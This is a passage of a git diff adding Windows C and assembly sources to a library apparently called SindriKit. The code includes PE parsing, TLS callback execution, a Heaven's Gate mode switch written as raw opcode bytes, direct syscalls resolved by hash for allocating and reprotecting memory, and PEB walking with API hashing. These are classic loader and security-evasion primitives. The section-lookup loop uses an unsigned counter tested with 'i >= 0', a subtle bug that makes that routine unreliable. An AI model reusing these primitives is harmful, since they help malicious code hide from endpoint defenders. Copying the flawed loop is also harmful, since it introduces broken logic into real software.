IMAGE_SECTION_HEADER *s) { + if (s->Misc.VirtualSize == 0) { + return s->SizeOfRawData; + } + return s->SizeOfRawData < s->Misc.VirtualSize ? s->SizeOfRawData : s->Misc.VirtualSize; +} + +/** + * @brief Calculates the final allocated size of a section in virtual memory. + * @note Internal engine use only. + */ +SND_FORCE_INLINE DWORD snd_i_section_loaded_size(const IMAGE_SECTION_HEADER *s) { + return s->Misc.VirtualSize != 0 ? s->Misc.VirtualSize : s->SizeOfRawData; +} + +#endif // SND_INTERNAL_PE_SECTION_UTILS_H diff --git a/src/parsers/pe/pe_utils.c b/src/parsers/pe/pe_utils.c new file mode 100644 index 0000000..48761fd --- /dev/null +++ b/src/parsers/pe/pe_utils.c @@ -0,0 +1,232 @@ +#include +#include +#include +#include +#include +#include + +snd_status_t snd_pe_get_directory(const snd_pe_parser_t *parser, DWORD index, IMAGE_DATA_DIRECTORY *dir_out) { + if (!parser || !dir_out) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + snd_memzero(dir_out, sizeof(IMAGE_DATA_DIRECTORY)); + + DWORD num_dirs = SND_PE_GET_NT_FIELD(parser, OptionalHeader.NumberOfRvaAndSizes); + if (index >= num_dirs || index >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) { + return SND_ERR_CTX(SND_STATUS_DIRECTORY_NOT_FOUND, "Directory index out of bounds"); + } + + SIZE_T dir_offset = parser->is_64bit ? offsetof(IMAGE_OPTIONAL_HEADER64, DataDirectory) + : offsetof(IMAGE_OPTIONAL_HEADER32, DataDirectory); + SIZE_T nt_off = (SIZE_T)parser->dos->e_lfanew; + + SIZE_T total_offset = + offsetof(IMAGE_NT_HEADERS32, OptionalHeader) + dir_offset + (index + 1) * sizeof(IMAGE_DATA_DIRECTORY); + if (total_offset > parser->source.size || nt_off > parser->source.size - total_offset) { + return SND_ERR_CTX(SND_STATUS_DIRECTORY_NOT_FOUND, "Directory offset out of bounds"); + } + + if (parser->is_64bit) { + *dir_out = parser->nt.nt64->OptionalHeader.DataDirectory[index]; + } else { + *dir_out = parser->nt.nt32->OptionalHeader.DataDirectory[index]; + } + return SND_OK; +} + +PVOID snd_pe_rva_to_ptr(const snd_pe_parser_t *parser, DWORD rva, SIZE_T size) { + if (!parser || !parser->source.data || rva == 0) + return NULL; + + if (parser->is_mapped) { + if (!snd_buffer_bounds_check(&parser->source, rva, size)) { + return NULL; + } + return SND_PTR_ADD(parser->source.data, rva); + } + + DWORD size_of_headers = SND_PE_GET_NT_FIELD(parser, OptionalHeader.SizeOfHeaders); + if (rva < size_of_headers) { + if (rva + size > size_of_headers) + return NULL; + if (!snd_buffer_bounds_check(&parser->source, rva, size)) + return NULL; + return SND_PTR_ADD(parser->source.data, rva); + } + + DWORD section_alignment = SND_PE_GET_NT_FIELD(parser, OptionalHeader.SectionAlignment); + DWORD file_alignment = SND_PE_GET_NT_FIELD(parser, OptionalHeader.FileAlignment); + + for (DWORD i = parser->sections_count - 1; i >= 0; i--) { + PIMAGE_SECTION_HEADER section = &parser->section_head[i]; + DWORD aligned_va = section->VirtualAddress; + if (section_alignment >= SND_PAGE_SIZE) { + aligned_va = (aligned_va / section_alignment) * section_alignment; + } + + DWORD virtual_size = section->Misc.VirtualSize; + if (virtual_size == 0) + virtual_size = section->SizeOfRawData; + + DWORD aligned_raw_size = section->SizeOfRawData; + if (file_alignment != 0) { + aligned_raw_size = ((aligned_raw_size + file_alignment - 1) / file_alignment) * file_alignment; + } + + DWORD max_size = virtual_size > aligned_raw_size ? virtual_size : aligned_raw_size; + + if (rva >= aligned_va && rva - aligned_va < max_size) { + DWORD offset_in_section = rva - aligned_va; + + if (offset_in_section >= aligned_raw_size) { + return NULL; + } + + if (size > (SIZE_T)(aligned_raw_size - offset_in_section)) { + return NULL; + } + + DWORD aligned_ptr_raw = section->PointerToRawData; + if (file_alignment >= SND_PE_MIN_FILE_ALIGNMENT) { + aligned_ptr_raw = (aligned_ptr_raw / file_alignment) * file_alignment; + } + + if (MAXDWORD - aligned_ptr_raw < offset_in_section) { + continue; + } + + DWORD foa = aligned_ptr_raw + offset_in_section; + if (!snd_buffer_bounds_check(&parser->source, foa, size)) { + return NULL; + } + return SND_PTR_ADD(parser->source.data, foa); + } + } + return NULL; +} + +BOOL snd_pe_compatibility_check(BOOL is_64bit) { +#if defined(_WIN64) + if (!is_64bit) + return FALSE; +#elif defined(_WIN32) + if (is_64bit) + return FALSE; +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif + return TRUE; +} + +void *snd_pe_get_entry_point(const snd_pe_parser_t *parser) { + if (!parser) + return NULL; + + DWORD ep_rva = SND_PE_GET_NT_FIELD(parser, OptionalHeader.AddressOfEntryPoint); + if (ep_rva == 0) + return NULL; + + return snd_pe_rva_to_ptr(parser, ep_rva, 1); +} + +PVOID snd_pe_get_tls_callbacks(PVOID base_address, const snd_pe_parser_t *parser) { + if (!base_address || !parser) + return NULL; + + IMAGE_DATA_DIRECTORY tls_dir = {0}; + snd_pe_get_directory(parser, IMAGE_DIRECTORY_ENTRY_TLS, &tls_dir); + + if (tls_dir.VirtualAddress == 0) + return NULL; + + ULONG_PTR callbacks_va = 0; + + if (parser->is_64bit) { + PIMAGE_TLS_DIRECTORY64 tls_struct64 = + (PIMAGE_TLS_DIRECTORY64)snd_pe_rva_to_ptr(parser, tls_dir.VirtualAddress, sizeof(IMAGE_TLS_DIRECTORY64)); + if (!tls_struct64) + return NULL; + callbacks_va = (ULONG_PTR)tls_struct64->AddressOfCallBacks; + } else { + PIMAGE_TLS_DIRECTORY32 tls_struct32 = + (PIMAGE_TLS_DIRECTORY32)snd_pe_rva_to_ptr(parser, tls_dir.VirtualAddress, sizeof(IMAGE_TLS_DIRECTORY32)); + if (!tls_struct32) + return NULL; + callbacks_va = (ULONG_PTR)tls_struct32->AddressOfCallBacks; + } + + if (callbacks_va == 0) + return NULL; + + ULONG_PTR base_to_subtract = (ULONG_PTR)SND_PE_GET_NT_FIELD(parser, OptionalHeader.ImageBase); + if (parser->is_mapped) { + base_to_subtract = (ULONG_PTR)base_address; + } + + if (callbacks_va < base_to_subtract) + return NULL; + + ULONG_PTR callbacks_rva = callbacks_va - base_to_subtract; + if (callbacks_rva > 0xFFFFFFFF) { + return NULL; + } + + return snd_pe_rva_to_ptr(parser, (DWORD)callbacks_rva, parser->is_64bit ? sizeof(ULONGLONG) : sizeof(DWORD)); +} + +snd_status_t snd_pe_execute_tls_callbacks(PVOID virtual_base, const snd_pe_parser_t *parser, DWORD reason) { + if (!virtual_base || !parser) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + + if (!parser->is_mapped) { + return SND_ERR_CTX(SND_STATUS_UNSUPPORTED, "Executing TLS callbacks from an unmapped raw file is forbidden."); + } + + BOOL arch_check = snd_pe_compatibility_check(parser->is_64bit); + if (!arch_check) { + return SND_ERR(SND_STATUS_ARCH_MISMATCH); + } + + PVOID callbacks_ptr = snd_pe_get_tls_callbacks(virtual_base, parser); + if (callbacks_ptr == NULL) + return SND_OK; + + SIZE_T callback_stride = parser->is_64bit ? sizeof(ULONGLONG) : sizeof(DWORD); + SIZE_T offset = 0; + SIZE_T base_rva = (SIZE_T)((BYTE *)callbacks_ptr - (BYTE *)virtual_base); + + while (1) { + PVOID cb_ptr = snd_pe_rva_to_ptr(parser, (DWORD)(base_rva + offset), callback_stride); + if (!cb_ptr) + break; + + PIMAGE_TLS_CALLBACK cb = NULL; + + if (parser->is_64bit) { + ULONGLONG cb_addr = *(ULONGLONG *)cb_ptr; + if (cb_addr == 0) + break; + + SIZE_T cb_rva = (SIZE_T)cb_addr - (SIZE_T)virtual_base; + if (!snd_pe_rva_to_ptr(parser, (DWORD)cb_rva, 1)) { + break; + } + cb = (PIMAGE_TLS_CALLBACK)(ULONG_PTR)cb_addr; + } else { + DWORD cb_addr = *(DWORD *)cb_ptr; + if (cb_addr == 0) + break; + + SIZE_T cb_rva = (SIZE_T)cb_addr - (SIZE_T)virtual_base; + if (!snd_pe_rva_to_ptr(parser, (DWORD)cb_rva, 1)) { + break; + } + cb = (PIMAGE_TLS_CALLBACK)(ULONG_PTR)cb_addr; + } + + cb(virtual_base, reason, NULL); + + offset += callback_stride; + } + + return SND_OK; +} diff --git a/src/primitives/execution/ffi/ffi_invoke.c b/src/primitives/execution/ffi/ffi_invoke.c new file mode 100644 index 0000000..df1eda2 --- /dev/null +++ b/src/primitives/execution/ffi/ffi_invoke.c @@ -0,0 +1,42 @@ +#include +#include + +/* ------------------------------------------------------------------------- + * External linkage: the MASM x64 / x86 bridges. + * ------------------------------------------------------------------------- */ +#if defined(_WIN64) +extern UINT_PTR snd_invoke_bridge_x64(PVOID pFunc, const UINT_PTR *pArgs, DWORD dwCount); +#elif defined(_WIN32) +extern UINT_PTR snd_invoke_bridge_x86(PVOID pFunc, const UINT_PTR *pArgs, DWORD dwCount); +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif + +/* ------------------------------------------------------------------------- + * snd_execute_dynamic + * + * Validates inputs, then routes to the architecture-specific trampoline. + * Uses PVOID for the function address to avoid MSVC C4152 + * (non-standard function pointer conversion) on the call site. The actual + * type-pun into a callable pointer is done inside the assembly stub where + * the CPU simply JMPs/CALLs the pointer value, bypassing the C type system. + * ------------------------------------------------------------------------- */ +UINT_PTR snd_execute_dynamic(PVOID pFunctionAddress, DWORD dwArgCount, const UINT_PTR *pArgs) { + /* Null function pointer: graceful no-op. */ + if (pFunctionAddress == NULL) { + return 0; + } + + /* If arguments are expected but the array pointer is NULL, refuse. */ + if (dwArgCount > 0 && pArgs == NULL) { + return 0; + } + +#if defined(_WIN64) + return snd_invoke_bridge_x64(pFunctionAddress, pArgs, dwArgCount); +#elif defined(_WIN32) + return snd_invoke_bridge_x86(pFunctionAddress, pArgs, dwArgCount); +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif +} diff --git a/src/primitives/execution/ffi/ffi_x64.asm b/src/primitives/execution/ffi/ffi_x64.asm new file mode 100644 index 0000000..f10b043 --- /dev/null +++ b/src/primitives/execution/ffi/ffi_x64.asm @@ -0,0 +1,116 @@ +; =========================================================================== +; ffi_x64.asm - SindriKit Dynamic FFI Execution Bridge (x64 / MASM) +; =========================================================================== + +.CODE + +snd_invoke_bridge_x64 PROC FRAME + + ; ----------------------------------------------------------------------- + ; Prologue: save 5 non-volatile registers. + ; 5 pushes * 8 = 40 bytes. RSP on entry is 8 mod 16, after 5 pushes: + ; 8 + 40 = 48, which is 0 mod 16. Perfect alignment for the upcoming sub. + ; ----------------------------------------------------------------------- + push rbx + .pushreg rbx + push r12 + .pushreg r12 + push r13 + .pushreg r13 + push r14 + .pushreg r14 + push r15 + .pushreg r15 + .endprolog + + ; ----------------------------------------------------------------------- + ; Save caller parameters into non-volatiles. + ; ----------------------------------------------------------------------- + mov r12, rcx ; r12 = pFunc + mov r13, rdx ; r13 = pArgs + mov r14d, r8d ; r14 = dwCount (zero-extended) + + ; ----------------------------------------------------------------------- + ; Compute dynamic frame allocation: + ; extra_slots = max(0, dwCount - 4) (QWORD slots for args beyond 4) + ; alloc = ALIGN_UP(32 + extra_slots * 8, 16) + ; ----------------------------------------------------------------------- + xor r15, r15 ; r15 = extra_slots = 0 + cmp r14, 4 + jbe compute_alloc + mov r15, r14 + sub r15, 4 ; r15 = dwCount - 4 + +compute_alloc: + mov rax, r15 + shl rax, 3 ; rax = extra_slots * 8 + add rax, 32 ; add shadow space + add rax, 15 + and rax, 0FFFFFFFFFFFFFFF0h ; round up to 16-byte boundary + mov r15, rax ; r15 = frame_alloc (saved for epilogue) + sub rsp, r15 ; commit the frame + + ; ----------------------------------------------------------------------- + ; Spill stack arguments (arg[4] .. arg[dwCount-1]) into [RSP+32+...] + ; ----------------------------------------------------------------------- + cmp r14, 4 + jbe fill_regs ; nothing to spill + + lea rax, [rsp + 32] ; rax -> first stack-arg slot + mov rcx, 4 ; start index + +stack_spill_loop: + cmp rcx, r14 + jge fill_regs + mov rbx, QWORD PTR [r13 + rcx * 8] + mov QWORD PTR [rax], rbx + add rax, 8 + inc rcx + jmp stack_spill_loop + + ; ----------------------------------------------------------------------- + ; Assign register arguments RCX, RDX, R8, R9 (with bounds checks). + ; ----------------------------------------------------------------------- +fill_regs: + xor rcx, rcx + xor rdx, rdx + xor r8, r8 + xor r9, r9 + + test r14, r14 + jz do_call + mov rcx, QWORD PTR [r13 + 0] ; arg[0] -> RCX + + cmp r14, 2 + jb do_call + mov rdx, QWORD PTR [r13 + 8] ; arg[1] -> RDX + + cmp r14, 3 + jb do_call + mov r8, QWORD PTR [r13 + 16] ; arg[2] -> R8 + + cmp r14, 4 + jb do_call + mov r9, QWORD PTR [r13 + 24] ; arg[3] -> R9 + + ; ----------------------------------------------------------------------- + ; Invoke. RSP is now 16-byte aligned. Result lands in RAX. + ; ----------------------------------------------------------------------- +do_call: + call r12 + + ; ----------------------------------------------------------------------- + ; Epilogue. + ; ----------------------------------------------------------------------- + add rsp, r15 ; restore RSP + + pop r15 + pop r14 + pop r13 + pop r12 + pop rbx + ret + +snd_invoke_bridge_x64 ENDP + +end diff --git a/src/primitives/execution/ffi/ffi_x86.asm b/src/primitives/execution/ffi/ffi_x86.asm new file mode 100644 index 0000000..64d7864 --- /dev/null +++ b/src/primitives/execution/ffi/ffi_x86.asm @@ -0,0 +1,53 @@ +; =========================================================================== +; ffi_x86.asm - SindriKit Dynamic FFI Execution Bridge (x86 / MASM) +; =========================================================================== + +.686 +.model flat, c + +.code + +PUBLIC snd_invoke_bridge_x86 + +snd_invoke_bridge_x86 PROC + push ebp + mov ebp, esp + + ; Save non-volatile registers + push ebx + push esi + push edi + + mov eax, [ebp+8] ; pFunc + mov ecx, [ebp+12] ; pArgs + mov edx, [ebp+16] ; dwCount + + ; If dwCount == 0, skip pushing + test edx, edx + jz do_call + + ; Push arguments in reverse order (right to left) + lea esi, [ecx + edx * 4 - 4] + +push_loop: + push dword ptr [esi] + sub esi, 4 + dec edx + jnz push_loop + +do_call: + call eax + + ; Restore stack pointer (handles both stdcall and cdecl target functions) + lea esp, [ebp-12] + + pop edi + pop esi + pop ebx + + mov esp, ebp + pop ebp + ret +snd_invoke_bridge_x86 ENDP + +end diff --git a/src/primitives/execution/heavens_gate/heavens_gate.c b/src/primitives/execution/heavens_gate/heavens_gate.c new file mode 100644 index 0000000..f0dc886 --- /dev/null +++ b/src/primitives/execution/heavens_gate/heavens_gate.c @@ -0,0 +1,65 @@ +#include +#include +#include + +#if defined(_WIN64) + +BOOL snd_is_wow64(void) { + return FALSE; +} + +snd_status_t snd_hg_execute_64(UINT64 pFunctionAddress, DWORD dwArgCount, const UINT64 *pArgs, UINT64 *pResult) { + (void)pFunctionAddress; + (void)dwArgCount; + (void)pArgs; + (void)pResult; + return SND_ERR(SND_STATUS_UNSUPPORTED); +} + +#elif defined(_WIN32) + +/* ------------------------------------------------------------------------- + * External linkage: the MASM x86 Heaven's Gate bridge. + * The ASM expects a strict 6-element array to prevent memory violations. + * ------------------------------------------------------------------------- */ +extern UINT64 snd_invoke_hg_x86(UINT64 pFunctionAddress, const UINT64 *pArgs); + +BOOL snd_is_wow64(void) { + void *pWow32Reserved = (void *)__readfsdword(0xC0); + return (pWow32Reserved != NULL); +} + +snd_status_t snd_hg_execute_64(UINT64 pFunctionAddress, DWORD dwArgCount, const UINT64 *pArgs, UINT64 *pResult) { + if (pFunctionAddress == 0) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + // Enforce a maximum of 6 arguments to align with our static ASM wrapper + if (dwArgCount > 6) { + return SND_ERR_CTX(SND_STATUS_INVALID_PARAMETER, "Heaven's Gate bridge supports a maximum of 6 arguments."); + } + + if (dwArgCount > 0 && pArgs == NULL) { + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + } + + if (!snd_is_wow64()) { + return SND_ERR(SND_STATUS_UNSUPPORTED); + } + + UINT64 safe_args[6] = {0}; + for (DWORD i = 0; i < dwArgCount; i++) { + safe_args[i] = pArgs[i]; + } + + UINT64 result = snd_invoke_hg_x86(pFunctionAddress, safe_args); + if (pResult) { + *pResult = result; + } + + return SND_OK; +} + +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif diff --git a/src/primitives/execution/heavens_gate/heavens_gate_x86.asm b/src/primitives/execution/heavens_gate/heavens_gate_x86.asm new file mode 100644 index 0000000..c23b21c --- /dev/null +++ b/src/primitives/execution/heavens_gate/heavens_gate_x86.asm @@ -0,0 +1,122 @@ +.386 +.model flat, c +.code + +; ----------------------------------------------------------------------------- +; snd_invoke_hg_x86 +; +; Signature: +; UINT64 snd_invoke_hg_x86(UINT64 pFunctionAddress, const UINT64 *pArgs); +; +; Parameters on 32-bit Stack: +; [ebp+8] = pFunctionAddress (Low 32 bits) +; [ebp+12] = pFunctionAddress (High 32 bits) +; [ebp+16] = pArgs (Pointer to a strict 6-element UINT64 array) +; ----------------------------------------------------------------------------- +snd_invoke_hg_x86 proc + push ebp + mov ebp, esp + push edi + push esi + push ebx + + ; 1. Enter Heaven's Gate (CS = 0x33) + push 33h + call next_inst +next_inst: + add dword ptr [esp], 5 + retf + + ; ========================================================================= + ; 64-BIT MODE execution area + ; ========================================================================= + + ; Load pFunctionAddress into RAX + ; mov rax, qword ptr [rbp+8] + db 048h, 08Bh, 045h, 008h + + ; Load the padded pArgs array pointer into EBX (Zero-extends to RBX) + ; mov ebx, dword ptr [rbp+16] + db 08Bh, 05Dh, 010h + + ; Save the original 64-bit RSP before we misalign it + ; mov rsi, rsp + db 048h, 089h, 0E6h + + ; Align stack to a 16-byte boundary (ABI requirement) + ; and rsp, 0xFFFFFFFFFFFFFFF0 + db 048h, 083h, 0E4h, 0F0h + + ; Allocate 48 bytes of stack space: + ; (32 bytes for mandatory shadow space + 16 bytes to hold Arg 5 and Arg 6) + ; sub rsp, 48 + db 048h, 083h, 0ECh, 030h + + ; --- Load Arguments 1 to 4 into Registers (ABI requirement) --- + + ; mov rcx, qword ptr [rbx] (Arg 1) + db 048h, 08Bh, 00Bh + + ; mov rdx, qword ptr [rbx+8] (Arg 2) + db 048h, 08Bh, 053h, 008h + + ; mov r8, qword ptr [rbx+16] (Arg 3) + db 04Ch, 08Bh, 043h, 010h + + ; mov r9, qword ptr [rbx+24] (Arg 4) + db 04Ch, 08Bh, 04Bh, 018h + + ; --- Push Arguments 5 and 6 onto the Stack --- + + ; mov r10, qword ptr [rbx+32] (Load Arg 5) + db 04Ch, 08Bh, 053h, 020h + ; mov qword ptr [rsp+32], r10 (Store Arg 5 directly above shadow space) + db 04Ch, 089h, 054h, 024h, 020h + + ; mov r11, qword ptr [rbx+40] (Load Arg 6) + db 04Ch, 08Bh, 05Bh, 028h + ; mov qword ptr [rsp+40], r11 (Store Arg 6) + db 04Ch, 089h, 05Ch, 024h, 028h + + ; --- Execute --- + + ; call rax + db 0FFh, 0D0h + + ; --- Cleanup --- + + ; Restore original RSP + ; mov rsp, rsi + db 048h, 089h, 0F4h + + ; 32-bit cdecl expects a 64-bit return value in EDX:EAX. + ; RAX currently holds the entire 64-bit value. EAX holds the lower 32. + ; Move upper 32 bits of RAX into EDX. + ; mov rdx, rax + db 048h, 089h, 0C2h + ; shr rdx, 32 + db 048h, 0C1h, 0EAh, 020h + + ; 2. Exit Heaven's Gate (CS = 0x23) + ; call $+5 + db 0E8h, 000h, 000h, 000h, 000h + ; mov dword ptr [rsp+4], 23h + db 0C7h, 044h, 024h, 004h, 023h, 000h, 000h, 000h + ; add dword ptr [rsp], 0Dh + db 083h, 004h, 024h, 00Dh + ; retf + db 0CBh + + ; ========================================================================= + ; 32-BIT MODE resumed + ; ========================================================================= + + pop ebx + pop esi + pop edi + mov esp, ebp + pop ebp + ret +snd_invoke_hg_x86 endp + +end diff --git a/src/primitives/memory/native.c b/src/primitives/memory/native.c new file mode 100644 index 0000000..92649f0 --- /dev/null +++ b/src/primitives/memory/native.c @@ -0,0 +1,95 @@ +#include +#include +#include +#include +#include +#include +#include + +static snd_status_t WINAPI native_alloc(LPVOID address, SIZE_T size, DWORD allocation_type, DWORD protect, + LPVOID *out_address) { + if (!out_address) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + *out_address = NULL; + snd_syscall_entry_t entry = {0}; + snd_status_t resolve_status = snd_resolve_syscall(SND_HASH_NTALLOCATEVIRTUALMEMORY, &entry); + if (resolve_status.code != SND_SUCCESS) + return resolve_status; + + HANDLE processHandle = (HANDLE)-1; + PVOID baseAddress = address; + SIZE_T regionSize = size; + + snd_syscall_args_t args = {0}; + args.ssn = entry.wSystemCall; + args.arg1 = processHandle; + args.arg2 = &baseAddress; + args.arg3 = 0; + args.arg4 = ®ionSize; + args.arg5 = (PVOID)(ULONG_PTR)allocation_type; + args.arg6 = (PVOID)(ULONG_PTR)protect; + + NTSTATUS status = snd_invoke_syscall_asm(&args); + if (NT_SUCCESS(status)) { + *out_address = baseAddress; + return SND_OK; + } + return SND_ERR_CTX(SND_STATUS_ALLOC_FAILED, "NtAllocateVirtualMemory failed"); +} + +static snd_status_t WINAPI native_free(LPVOID address, SIZE_T size, DWORD free_type) { + snd_syscall_entry_t entry = {0}; + snd_status_t resolve_status = snd_resolve_syscall(SND_HASH_NTFREEVIRTUALMEMORY, &entry); + if (resolve_status.code != SND_SUCCESS) + return resolve_status; + + HANDLE processHandle = (HANDLE)-1; + PVOID baseAddress = address; + SIZE_T regionSize = size; + + if (free_type == MEM_RELEASE) { + regionSize = 0; + } + + snd_syscall_args_t args = {0}; + args.ssn = entry.wSystemCall; + args.arg1 = processHandle; + args.arg2 = &baseAddress; + args.arg3 = ®ionSize; + args.arg4 = (PVOID)(ULONG_PTR)free_type; + + NTSTATUS status = snd_invoke_syscall_asm(&args); + return NT_SUCCESS(status) ? SND_OK : SND_ERR_CTX(SND_ERROR_GENERIC, "NtFreeVirtualMemory failed"); +} + +static snd_status_t WINAPI native_protect(LPVOID address, SIZE_T size, DWORD new_protect, DWORD *old_protect) { + snd_syscall_entry_t entry = {0}; + snd_status_t resolve_status = snd_resolve_syscall(SND_HASH_NTPROTECTVIRTUALMEMORY, &entry); + if (resolve_status.code != SND_SUCCESS) + return resolve_status; + + HANDLE processHandle = (HANDLE)-1; + PVOID baseAddress = address; + SIZE_T regionSize = size; + ULONG oldProtect = 0; + + snd_syscall_args_t args = {0}; + args.ssn = entry.wSystemCall; + args.arg1 = processHandle; + args.arg2 = &baseAddress; + args.arg3 = ®ionSize; + args.arg4 = (PVOID)(ULONG_PTR)new_protect; + args.arg5 = &oldProtect; + + NTSTATUS status = snd_invoke_syscall_asm(&args); + + if (NT_SUCCESS(status)) { + if (old_protect) { + *old_protect = oldProtect; + } + return SND_OK; + } + return SND_ERR_CTX(SND_STATUS_PROTECTION_UPDATE_FAILED, "NtProtectVirtualMemory failed"); +} + +const snd_memory_api_t snd_mem_native = {.alloc = native_alloc, .free = native_free, .protect = native_protect}; diff --git a/src/primitives/memory/win.c b/src/primitives/memory/win.c new file mode 100644 index 0000000..e59e675 --- /dev/null +++ b/src/primitives/memory/win.c @@ -0,0 +1,21 @@ +#include +#include + +static snd_status_t WINAPI win_alloc(LPVOID address, SIZE_T size, DWORD allocation_type, DWORD protect, + LPVOID *out_address) { + if (!out_address) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + *out_address = VirtualAlloc(address, size, allocation_type, protect); + return *out_address ? SND_OK : SND_ERR_W32(SND_STATUS_ALLOC_FAILED); +} + +static snd_status_t WINAPI win_free(LPVOID address, SIZE_T size, DWORD free_type) { + return VirtualFree(address, size, free_type) ? SND_OK : SND_ERR_W32(SND_ERROR_GENERIC); +} + +static snd_status_t WINAPI win_protect(LPVOID address, SIZE_T size, DWORD new_protect, DWORD *old_protect) { + return VirtualProtect(address, size, new_protect, old_protect) ? SND_OK + : SND_ERR_W32(SND_STATUS_PROTECTION_UPDATE_FAILED); +} + +const snd_memory_api_t snd_mem_win = {.alloc = win_alloc, .free = win_free, .protect = win_protect}; diff --git a/src/primitives/modules/native.c b/src/primitives/modules/native.c new file mode 100644 index 0000000..c493f52 --- /dev/null +++ b/src/primitives/modules/native.c @@ -0,0 +1,104 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static void build_unicode_string(SND_UNICODE_STRING *us, wchar_t *buf, USHORT char_count) { + us->Buffer = buf; + us->Length = (USHORT)(char_count * sizeof(wchar_t)); + us->MaximumLength = us->Length + sizeof(wchar_t); +} + +static snd_status_t WINAPI native_load_library(const char *module_name, HMODULE *out_module) { + if (!out_module) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + *out_module = NULL; + if (!module_name) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + + wchar_t wname[MAX_PATH]; + size_t len = snd_strnlen(module_name, MAX_PATH - 1); + for (size_t i = 0; i <= len; i++) { + wname[i] = (wchar_t)(unsigned char)module_name[i]; + } + + PVOID base = NULL; + snd_peb_get_module_base(wname, &base); + if (base) { + *out_module = (HMODULE)base; + return SND_OK; + } + + PVOID ntdll = snd_get_ntdll(); + if (!ntdll) + return SND_ERR_CTX(SND_STATUS_NOT_INITIALIZED, "NTDLL base is NULL"); + + FARPROC ldr_addr = NULL; + snd_pe_get_export_address_by_hash(ntdll, SND_SYS_DLL_SIZE_DEFAULT, SND_HASH_LDRLOADDLL, &ldr_addr, + snd_peb_get_module_base_by_hash); + if (!ldr_addr) + return SND_ERR(SND_STATUS_EXPORT_NOT_FOUND); + + LdrLoadDll_t pfnLdrLoadDll = (LdrLoadDll_t)ldr_addr; + + SND_UNICODE_STRING us; + build_unicode_string(&us, wname, (USHORT)len); + + HANDLE hModule = NULL; + NTSTATUS status = pfnLdrLoadDll(NULL, NULL, &us, &hModule); + if (!NT_SUCCESS(status) || !hModule) + return SND_ERR(SND_STATUS_IMPORT_DLL_LOAD_FAILED); + *out_module = (HMODULE)hModule; + return SND_OK; +} + +static snd_status_t WINAPI native_get_proc_address(HMODULE hModule, const char *proc_name, FARPROC *out_proc) { + if (!out_proc) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + *out_proc = NULL; + if (!hModule || !proc_name) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + + return snd_pe_get_export_address((PVOID)hModule, SND_SYS_DLL_SIZE_DEFAULT, proc_name, out_proc, + snd_peb_get_module_base); +} + +static snd_status_t WINAPI native_load_library_hash(DWORD module_hash, HMODULE *out_module) { + if (!out_module) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + *out_module = NULL; + PVOID base = NULL; + snd_peb_get_module_base_by_hash(module_hash, &base); + *out_module = (HMODULE)base; + return *out_module ? SND_OK : SND_ERR(SND_ERROR_GENERIC); +} + +static snd_status_t WINAPI native_get_proc_address_hash(HMODULE hModule, DWORD proc_hash, FARPROC *out_proc) { + if (!out_proc) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + *out_proc = NULL; + if (!hModule || !proc_hash) + return SND_ERR(SND_STATUS_INVALID_PARAMETER); + + return snd_pe_get_export_address_by_hash((PVOID)hModule, SND_SYS_DLL_SIZE_DEFAULT, proc_hash, out_proc, + snd_peb_get_module_base_by_hash); +} + +static snd_status_t WINAPI native_get_module_base_hash(DWORD module_hash, PVOID *out_base) { + return snd_peb_get_module_base_by_hash(module_hash, out_base); +} + +const snd_module_api_t snd_mod_native = {.load_library = native_load_library, + .get_proc_address = native_get_proc_address, + .get_module_base = snd_peb_get_module_base, + + .load_library_hash = native_load_library_hash, + .get_proc_address_hash = native_get_proc_address_hash, + .get_module_base_hash = native_get_module_base_hash}; diff --git a/src/primitives/modules/ntdll.c b/src/primitives/modules/ntdll.c new file mode 100644 index 0000000..e55093c --- /dev/null +++ b/src/primitives/modules/ntdll.c @@ -0,0 +1,14 @@ +#include + +static PVOID g_PristineNtdll = NULL; + +void snd_set_ntdll(PVOID ntdll_base) { + if (ntdll_base == NULL) { + return; + } + g_PristineNtdll = ntdll_base; +} + +PVOID snd_get_ntdll(void) { + return g_PristineNtdll; +} diff --git a/src/primitives/modules/peb.c b/src/primitives/modules/peb.c new file mode 100644 index 0000000..18f787f --- /dev/null +++ b/src/primitives/modules/peb.c @@ -0,0 +1,114 @@ +#include "sindri/common/status.h" + +#include +#include +#include +#include +#include +#include + +static size_t custom_wcslen(const wchar_t *s) { + size_t len = 0; + while (s && s[len] != L'\0') { + len++; + } + return len; +} + +static int custom_wcsnicmp(const wchar_t *s1, const wchar_t *s2, size_t n) { + if (n == 0) + return 0; + do { + wchar_t c1 = *s1++; + wchar_t c2 = *s2++; + if (c1 >= L'A' && c1 <= L'Z') + c1 += (L'a' - L'A'); + if (c2 >= L'A' && c2 <= L'Z') + c2 += (L'a' - L'A'); + + if (c1 != c2) + return (int)(c1 - c2); + if (c1 == L'\0') + break; + } while (--n); + return 0; +} + +static PVOID snd_peb_get_module_base_internal(const wchar_t *module_name, DWORD module_hash) { +#if defined(_WIN64) + SND_PEB *peb = (SND_PEB *)__readgsqword(0x60); +#elif defined(_WIN32) + SND_PEB *peb = (SND_PEB *)__readfsdword(0x30); +#else +#error "Unsupported architecture: SindriKit requires _WIN32 or _WIN64" +#endif + + if (!peb || !peb->Ldr) { + return NULL; + } + + LIST_ENTRY *head = &peb->Ldr->InMemoryOrderModuleList; + LIST_ENTRY *curr = head->Flink; + size_t target_len = module_name ? custom_wcslen(module_name) : 0; + + while (curr != head && curr != NULL) { + PSND_LDR_DATA_TABLE_ENTRY data_table = + (PSND_LDR_DATA_TABLE_ENTRY)((BYTE *)curr - offsetof(SND_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)); + + if (data_table->BaseDllName.Buffer != NULL) { + size_t 